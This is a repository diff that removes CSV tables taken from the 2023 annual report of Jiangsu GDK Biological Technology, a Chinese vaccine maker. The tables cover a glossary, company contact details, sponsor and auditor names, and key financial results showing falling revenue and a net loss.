"生物反应器","指","利用培养基、氧气等物质为细胞培养的生物反应过程中提供良好的反应环境的设备"
"培养基","指","供微生物和动物组织生长和维持用的人工配制的养料"
"Vero细胞","指","从正常的成年非洲绿猴肾细胞获得的转化细胞,该细胞是贴壁依赖性的成纤维细胞。它能支持多种病毒的增殖,包括乙型脑炎、脊髓灰质炎、狂犬病等病毒"
"WHO","指","WorldHealthOrganization世界卫生组织"
"GMP","指","《药品生产质量管理规范》"
"MES","指","ManufacturingExecutionSystem制造执行系统是一套面向制造企业车间生产信息化管理系统"
1 括国家免疫规划确定的疫苗,省、自治区、直辖市人民政府在执行国家免疫规划时增加的疫苗以及县级以上人民政府或者其卫生主管部门组织的应急接种或者群体性预防接种所使用的疫苗
2 批签发 国家对疫苗类制品、血液制品、用于血源筛查的体外生物诊断试剂以及国家药品监督管理局规定的其他生物制品,每批制品出厂上市或者进口时进行强制性检验、审核的制度。未通过批签发的产品,不得上市或者进口
3 临床前研究 包括药物的合成工艺、提取方法、理化性质及纯度、剂型选择、处方筛选、制备工艺、检验方法、质量指标、稳定性、药理、毒理等
4 临床研究 药品研发中的阶段,一般指从获得临床研究批件到完成I、II、III期临床试验,获得临床研究总结报告之间的阶段。药品临床试验分为I、II、III、IV期,其中IV期临床试验在药品批准上市后进行
5 药品注册批件 国家药品监督管理局颁发的允许药品企业进行某特定药品生产的批准文件
6 生物反应器 利用培养基、氧气等物质为细胞培养的生物反应过程中提供良好的反应环境的设备
7 培养基 供微生物和动物组织生长和维持用的人工配制的养料
8 Vero细胞 从正常的成年非洲绿猴肾细胞获得的转化细胞,该细胞是贴壁依赖性的成纤维细胞。它能支持多种病毒的增殖,包括乙型脑炎、脊髓灰质炎、狂犬病等病毒
9 WHO WorldHealthOrganization,世界卫生组织
10 GMP 《药品生产质量管理规范》
11 MES ManufacturingExecutionSystem,制造执行系统,是一套面向制造企业车间生产信息化管理系统

View File

@ -1,11 +0,0 @@
"公司的中文名称","江苏金迪克生物技术股份有限公司"
"公司的中文简称","金迪克"
"公司的外文名称","JIANGSUGDKBIOLOGICALTECHNOLOGYCO.LTD"
"公司的外文名称缩写","GDKBiotech"
"公司的法定代表人","余军"
"公司注册地址","江苏省泰州市郁金路12号"
"公司注册地址的历史变更情况","无"
"公司办公地址","江苏省泰州市郁金路12号"
"公司办公地址的邮政编码","225300"
"公司网址","www.gdkbio.com"
"电子信箱","gdk001@gdkbio.com"
1 公司的中文名称 江苏金迪克生物技术股份有限公司
2 公司的中文简称 金迪克
3 公司的外文名称 JIANGSUGDKBIOLOGICALTECHNOLOGYCO.LTD
4 公司的外文名称缩写 GDKBiotech
5 公司的法定代表人 余军
6 公司注册地址 江苏省泰州市郁金路12号
7 公司注册地址的历史变更情况
8 公司办公地址 江苏省泰州市郁金路12号
9 公司办公地址的邮政编码 225300
10 公司网址 www.gdkbio.com
11 电子信箱 gdk001@gdkbio.com

View File

@ -1,6 +0,0 @@
"","董事会秘书(信息披露境内代表)","证券事务代表"
"姓名","余军","谭华海"
"联系地址","江苏省泰州市郁金路12号","江苏省泰州市郁金路12号"
"电话","0523-86205860","0523-86200906"
"传真","0523-86200152","0523-86200152"
"电子信箱","gdk001@gdkbio.com","gdk001@gdkbio.com"
1 董事会秘书(信息披露境内代表) 证券事务代表
2 姓名 余军 谭华海
3 联系地址 江苏省泰州市郁金路12号 江苏省泰州市郁金路12号
4 电话 0523-86205860 0523-86200906
5 传真 0523-86200152 0523-86200152
6 电子信箱 gdk001@gdkbio.com gdk001@gdkbio.com

View File

@ -1,3 +0,0 @@
"公司披露年度报告的媒体名称及网址","《上海证券报》www.cnstock.com《中国证券报》www.cs.com.cn《证券日报》www.zqrb.cn《证券时报》www.stcn.com"
"公司披露年度报告的证券交易所网址","www.sse.com.cn"
"公司年度报告备置地点公司证券部",""
1 公司披露年度报告的媒体名称及网址 《上海证券报》(www.cnstock.com)《中国证券报》(www.cs.com.cn)《证券日报》(www.zqrb.cn)《证券时报》(www.stcn.com)
2 公司披露年度报告的证券交易所网址 www.sse.com.cn
3 公司年度报告备置地点公司证券部

View File

@ -1,6 +0,0 @@
"","","层"
"","签字会计师姓名","龚晨艳、刘蓓蓓"
"报告期内履行持续督导职责的保荐机构","名称","中信证券股份有限公司"
"","办公地址","北京市朝阳区亮马桥路48号中信证券大厦"
"","签字的保荐代表人姓名周游、赵岩",""
"","持续督导的期间","2021年8月2日至2024年12月31日"
1
2 签字会计师姓名 龚晨艳、刘蓓蓓
3 报告期内履行持续督导职责的保荐机构 名称 中信证券股份有限公司
4 办公地址 北京市朝阳区亮马桥路48号中信证券大厦
5 签字的保荐代表人姓名周游、赵岩
6 持续督导的期间 2021年8月2日至2024年12月31日

View File

@ -1,9 +0,0 @@
"主要会计数据","2023年","2022年","本期比上年同期增减(%)","2021年"
"营业收入","134591377.00","318486074.97","-57.74","392272487.50"
"扣除与主营业务无关的业务收入和不具备商业实质的收入后的营业收入","134591377.00","318486074.97","-57.74","390564940.38"
"归属于上市公司股东的净利润","-70990269.78","41544347.93","-270.88","82460219.55"
"归属于上市公司股东的扣除非经常性损益的净利润","-72570930.84","22618235.47","-420.85","65828539.56"
"经营活动产生的现金流量净额","80904692.08","38595320.99","109.62","103925232.98"
"","2023年末","2022年末","本期末比上年同期末增减(%","2021年末"
"归属于上市公司股东的净资产","1371081628.44","1459671898.22","-6.07","1461370160.69"
"总资产","1631601305.25","1826776950.09","-10.68","1754489818.27"
1 主要会计数据 2023年 2022年 本期比上年同期增减(%) 2021年
2 营业收入 134591377.00 318486074.97 -57.74 392272487.50
3 扣除与主营业务无关的业务收入和不具备商业实质的收入后的营业收入 134591377.00 318486074.97 -57.74 390564940.38
4 归属于上市公司股东的净利润 -70990269.78 41544347.93 -270.88 82460219.55
5 归属于上市公司股东的扣除非经常性损益的净利润 -72570930.84 22618235.47 -420.85 65828539.56
6 经营活动产生的现金流量净额 80904692.08 38595320.99 109.62 103925232.98
7 2023年末 2022年末 本期末比上年同期末增减(%) 2021年末
8 归属于上市公司股东的净资产 1371081628.44 1459671898.22 -6.07 1461370160.69
9 总资产 1631601305.25 1826776950.09 -10.68 1754489818.27

View File

@ -1,7 +0,0 @@
"主要财务指标","2023年","2022年","本期比上年同期增减(%)","2021年"
"基本每股收益(元/股)","-0.58","0.34","-270.59","1.10"
"稀释每股收益(元/股)","-0.58","0.34","-270.59","1.10"
"扣除非经常性损益后的基本每股收益(元/股)","-0.59","0.18","-427.78","0.88"
"加权平均净资产收益率(%","-5.02","","2.86减少7.88个百分点","10.89"
"扣除非经常性损益后的加权平均净资产收益率(%","-5.13","1.56","减少6.69个百分点","8.69"
"研发投入占营业收入的比例(%","23.38","14.49","增加8.89个百分点","12.16"
1 主要财务指标 2023年 2022年 本期比上年同期增减(%) 2021年
2 基本每股收益(元/股) -0.58 0.34 -270.59 1.10
3 稀释每股收益(元/股) -0.58 0.34 -270.59 1.10
4 扣除非经常性损益后的基本每股收益(元/股) -0.59 0.18 -427.78 0.88
5 加权平均净资产收益率(%) -5.02 2.86减少7.88个百分点 10.89
6 扣除非经常性损益后的加权平均净资产收益率(%) -5.13 1.56 减少6.69个百分点 8.69
7 研发投入占营业收入的比例(%) 23.38 14.49 增加8.89个百分点 12.16

View File

@ -1,5 +0,0 @@
"","第一季度1-3月份","第二季度4-6月份","第三季度7-9月份","第四季度10-12月份"
"营业收入","106219935.77","20922825.97","-6299040.71","13747655.97"
"归属于上市公司股东的净利润","36346153.06","-1265149.29","-46158115.69","-59913157.86"
"归属于上市公司股东的扣除非经常性损益后的净利润","32693987.81","-2632245.69","-50212006.06","-52420666.90"
"经营活动产生的现金流量净额","6437234.74","54112817.67","1211377.73","19143261.94"
1 第一季度(1-3月份) 第二季度(4-6月份) 第三季度(7-9月份) 第四季度(10-12月份)
2 营业收入 106219935.77 20922825.97 -6299040.71 13747655.97
3 归属于上市公司股东的净利润 36346153.06 -1265149.29 -46158115.69 -59913157.86
4 归属于上市公司股东的扣除非经常性损益后的净利润 32693987.81 -2632245.69 -50212006.06 -52420666.90
5 经营活动产生的现金流量净额 6437234.74 54112817.67 1211377.73 19143261.94

Binary file not shown.